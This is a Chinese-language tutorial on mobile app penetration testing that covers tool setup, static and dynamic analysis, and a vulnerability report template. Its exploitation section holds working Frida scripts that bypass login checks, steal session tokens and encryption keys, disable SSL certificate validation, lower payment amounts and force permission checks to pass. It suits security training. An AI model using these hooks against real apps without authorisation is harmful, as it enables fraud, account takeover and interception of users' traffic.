136_ 移动应用渗透测试实战：从环境搭建到漏洞利用的完整指南

环境搭建 → 信息收集 → 静态分析 → 动态分析 → 漏洞利用 → 报告生成

渗透测试方法论框架：
┌─────────────────────────────────────────────────────────────────────────┐
│ 规划与准备阶段                                                         │
│ ├── 明确测试范围与目标  ├── 确定测试方法  └── 准备测试环境与工具        │
├─────────────────────────────────────────────────────────────────────────┤
│ 信息收集阶段                                                           │
│ ├── 应用信息收集        ├── API信息收集    └── 设备与环境信息收集        │
├─────────────────────────────────────────────────────────────────────────┤
│ 漏洞评估阶段                                                           │
│ ├── 静态分析            ├── 动态分析        ├── 渗透测试                  │
├─────────────────────────────────────────────────────────────────────────┤
│ 结果报告阶段                                                           │
│ ├── 漏洞确认与分类      ├── 风险评估        ├── 修复建议                  │
│ └── 最终报告生成                                                       │
└─────────────────────────────────────────────────────────────────────────┘

# 1. 安装Android Studio和SDK
# 2. 安装模拟器或配置真机测试环境

# 3. 安装必要的测试工具
# 安装Frida
pip install frida frida-tools

# 安装MobSF (Mobile Security Framework)
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf

# 安装jadx (Java decompiler)
wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip
unzip jadx-1.4.7.zip

# 1. 配置越狱设备或使用越狱模拟器

# 2. 安装必要的工具
# 安装Cydia源
sudo apt-get update
sudo apt-get install openssh git curl

# 安装Frida
pip install frida frida-tools

# 在iOS设备上安装Frida Server (通过Cydia)
# 或手动安装
ssh root@<device-ip> 'wget https://github.com/frida/frida/releases/download/16.0.1/frida-server-16.0.1-ios-universal.dylib -O /usr/bin/frida-server && chmod +x /usr/bin/frida-server'

# 安装Cycript
sudo apt-get install cycript

# 1. 安装Burp Suite
# 下载并安装Burp Suite Professional/Community

# 2. 配置代理
# 在Burp Suite中设置代理监听127.0.0.1:8080

# 3. 配置移动设备代理
# Android: Settings > WiFi > 长按网络 > Modify Network > Advanced Options > Proxy
# iOS: Settings > WiFi > 点击网络名称 > Configure Proxy

# 4. 安装Burp证书到移动设备
# 访问 http://burp 下载证书并安装

# 自动化测试工具链配置示例
version: '3'
services:
  mobsf:
    image: opensecurity/mobile-security-framework-mobsf
    ports:
      - "8000:8000"
    volumes:
      - ./mobsf-data:/home/mobsf/.MobSF
  zap:
    image: owasp/zap2docker-stable
    ports:
      - "8080:8080"
      - "8090:8090"
  selenium:
    image: selenium/standalone-chrome
    ports:
      - "4444:4444"

# Android应用信息收集
# 使用aapt获取AndroidManifest.xml信息
aapt dump xmltree app.apk AndroidManifest.xml

# 提取应用权限
adb shell dumpsys package com.example.app

# iOS应用信息收集
# 使用otool查看二进制信息
otool -l app_binary

# 使用class-dump提取类信息
class-dump -H AppBinary -o output_dir

# Android应用反编译
# 使用jadx反编译APK
jadx -d output_dir app.apk

# 或使用apktool反编译
apktool d app.apk -o output_dir

# iOS应用反编译
# 使用Hopper Disassembler或IDA Pro分析二进制文件

# 使用grep搜索敏感信息
grep -r "api_key\|password\|secret\|token" output_dir/

# 使用MobSF进行自动分析
# 访问http://localhost:8000，上传APK/IPA文件进行分析

# 审查Android应用安全配置
# 检查AndroidManifest.xml中的安全设置
cat output_dir/AndroidManifest.xml | grep -E "android:allowBackup|android:debuggable|android:exported"

# 检查网络安全配置
cat output_dir/res/xml/network_security_config.xml

# iOS应用安全配置审查
# 检查Info.plist中的安全设置
plutil -p Info.plist | grep -E "NSAppTransportSecurity|NSExceptionDomains"

// 使用Frida监控应用行为
Java.perform(function() {
    // 监控SharedPreferences读写
    var SharedPreferences = Java.use('android.app.SharedPreferences');
    SharedPreferences.edit.implementation = function() {
        console.log('[*] SharedPreferences.edit called');
        return this.edit();
    };
    
    // 监控网络请求
    var URLConnection = Java.use('java.net.URLConnection');
    URLConnection.connect.implementation = function() {
        console.log('[*] URLConnection.connect called');
        this.connect();
    };
});

# 使用Burp Suite拦截和分析HTTP/HTTPS流量
# 配置Burp Suite作为代理，捕获应用的网络请求

# 使用tcpdump捕获原始网络流量
adb shell tcpdump -i any -p -s 0 -w /sdcard/capture.pcap "port 80 or port 443"
adb pull /sdcard/capture.pcap .

# 使用Wireshark分析捕获的流量
wireshark capture.pcap

// 使用Frida转储应用内存
Java.perform(function() {
    // 转储字符串常量池
    var StringClass = Java.use('java.lang.String');
    var StringBytesMethod = StringClass.getBytes.overload('java.lang.String');
    
    StringBytesMethod.implementation = function(encoding) {
        var result = this.getBytes(encoding);
        var stringValue = this.toString();
        
        // 检测潜在的敏感信息
        if (stringValue.indexOf('password') >= 0 || 
            stringValue.indexOf('token') >= 0 || 
            stringValue.indexOf('secret') >= 0) {
            console.log('[+] Found potential sensitive data: ' + stringValue);
        }
        
        return result;
    };
});

# 监控Android应用权限使用
adb shell dumpsys appops com.example.app

# 使用Frida监控敏感API调用
Java.perform(function() {
    var LocationManager = Java.use('android.location.LocationManager');
    LocationManager.getLastKnownLocation.implementation = function(provider) {
        console.log('[*] Location permission used: ' + provider);
        return this.getLastKnownLocation(provider);
    };
    
    var TelephonyManager = Java.use('android.telephony.TelephonyManager');
    TelephonyManager.getDeviceId.implementation = function() {
        console.log('[*] READ_PHONE_STATE permission used');
        return this.getDeviceId();
    };
});

// 使用Frida绕过登录认证
Java.perform(function() {
    var LoginActivity = Java.use('com.example.app.LoginActivity');
    
    // 绕过登录检查
    LoginActivity.isLoggedIn.implementation = function() {
        console.log('[+] Bypassing login check');
        return true;
    };
    
    // 拦截会话令牌
    var NetworkUtils = Java.use('com.example.app.utils.NetworkUtils');
    NetworkUtils.sendRequest.implementation = function(url, token, data) {
        console.log('[+] Intercepted session token: ' + token);
        // 可以修改token或直接返回成功响应
        return this.sendRequest(url, token, data);
    };
});

# 检查Android应用的SharedPreferences
adb shell cat /data/data/com.example.app/shared_prefs/*.xml

# 检查SQLite数据库
adb shell "run-as com.example.app cat databases/app.db" > app.db
sqlite3 app.db "SELECT * FROM users;"

# 使用Frida解密加密数据
Java.perform(function() {
    var CryptoUtils = Java.use('com.example.app.utils.CryptoUtils');
    
    // 拦截解密方法
    CryptoUtils.decrypt.implementation = function(data, key) {
        console.log('[+] Intercepted encrypted data: ' + data);
        console.log('[+] Intercepted encryption key: ' + key);
        var decrypted = this.decrypt(data, key);
        console.log('[+] Decrypted result: ' + decrypted);
        return decrypted;
    };
});

// 使用Frida修改SSL验证
Java.perform(function() {
    // 绕过SSL证书验证
    var TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    var TrustManagerImpl = Java.registerClass({
        name: 'javax.net.ssl.X509TrustManager',
        implements: [TrustManager],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });
    
    // 替换系统的TrustManager
    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    var context = SSLContext.getInstance('TLS');
    context.init(null, [TrustManagerImpl.$new()], null);
    
    var HttpsURLConnection = Java.use('javax.net.ssl.HttpsURLConnection');
    HttpsURLConnection.setDefaultSSLSocketFactory(context.getSocketFactory());
    HttpsURLConnection.setDefaultHostnameVerifier(function(hostname, session) { return true; });
    
    console.log('[+] SSL certificate validation bypassed');
});

// 检测并利用Android WebView远程代码执行漏洞
Java.perform(function() {
    var WebView = Java.use('android.webkit.WebView');
    
    // 检查WebView设置
    var webViewInstance = Java.cast(Java.type('android.webkit.WebView').class, WebView);
    console.log('[*] Checking WebView settings');
    
    // 尝试执行JavaScript (如果可能)
    WebView.evaluateJavascript.implementation = function(script, callback) {
        console.log('[+] Intercepted JavaScript evaluation: ' + script);
        // 可以修改script以执行任意JavaScript
        return this.evaluateJavascript(script, callback);
    };
});

// 检测并利用业务逻辑漏洞
Java.perform(function() {
    // 拦截支付相关方法
    var PaymentManager = Java.use('com.example.app.managers.PaymentManager');
    
    PaymentManager.processPayment.implementation = function(amount, userId) {
        console.log('[+] Intercepted payment request: $' + amount + ' for user ' + userId);
        
        // 修改金额为0.01
        var modifiedAmount = '0.01';
        console.log('[+] Modified payment amount to: $' + modifiedAmount);
        
        return this.processPayment(modifiedAmount, userId);
    };
    
    // 拦截权限检查
    var PermissionManager = Java.use('com.example.app.managers.PermissionManager');
    
    PermissionManager.checkPermission.implementation = function(userId, permission) {
        console.log('[+] Intercepted permission check: user ' + userId + ' for ' + permission);
        
        // 始终返回有权限
        return true;
    };
});

# 漏洞描述模板
## 漏洞名称: 不安全的数据存储

### 风险等级: 高

### 描述
应用在SharedPreferences中存储了未加密的敏感用户数据，包括密码和API密钥。这些数据可以被任何能够访问设备文件系统的应用或用户读取。

### 位置
文件路径: /data/data/com.example.app/shared_prefs/user_prefs.xml
代码位置: com.example.app.utils.DataManager.saveUserCredentials()

### 验证方法
1. 获取root权限访问设备文件系统
2. 执行命令: `adb shell cat /data/data/com.example.app/shared_prefs/user_prefs.xml`
3. 在输出中查找包含密码、密钥等敏感信息的明文数据

### 示例数据
```xml
<map>
    <string name="password">admin123</string>
    <string name="api_key">sk_live_51Hj5...</string>
</map>

### 6.3 修复建议与最佳实践

提供具体的修复建议和最佳实践：

### 6.4 渗透测试报告模板

完整的渗透测试报告模板：

## 总结与进阶学习

通过本专题的学习，您已经掌握了移动应用渗透测试的核心技能和方法。移动应用安全是一个不断发展的领域，建议持续关注最新的安全威胁和防护技术。

### 推荐进阶学习资源

1. **书籍**：
   - 《Mobile Application Penetration Testing》
   - 《Android Hacker's Handbook》
   - 《iOS Hacker's Handbook》

2. **在线资源**：
   - OWASP Mobile Security Testing Guide (MSTG)
   - OWASP Mobile Top 10
   - Google Play Security Reward Program
   - Apple Bug Bounty Program

3. **工具**：
   - MobSF (Mobile Security Framework)
   - Drozer (Android安全评估框架)
   - Frida (动态插桩工具)
   - Burp Suite (Web代理和安全测试工具)

### 实战练习建议

1. 在CTF比赛中参与移动应用安全相关挑战
2. 建立个人的移动应用安全测试环境
3. 参与开源项目的安全审计
4. 定期关注并分析最新的移动应用漏洞

通过持续的学习和实践，您将能够不断提升移动应用渗透测试的技能，为保护移动应用安全做出贡献。

---

*本专题内容基于OWASP移动安全测试指南和行业最佳实践，旨在帮助安全专业人员掌握移动应用渗透测试的核心技能。*

**互动环节**：在进行移动应用渗透测试过程中，您遇到过哪些有趣的挑战或发现？有什么独特的测试技巧可以分享？欢迎在评论区交流！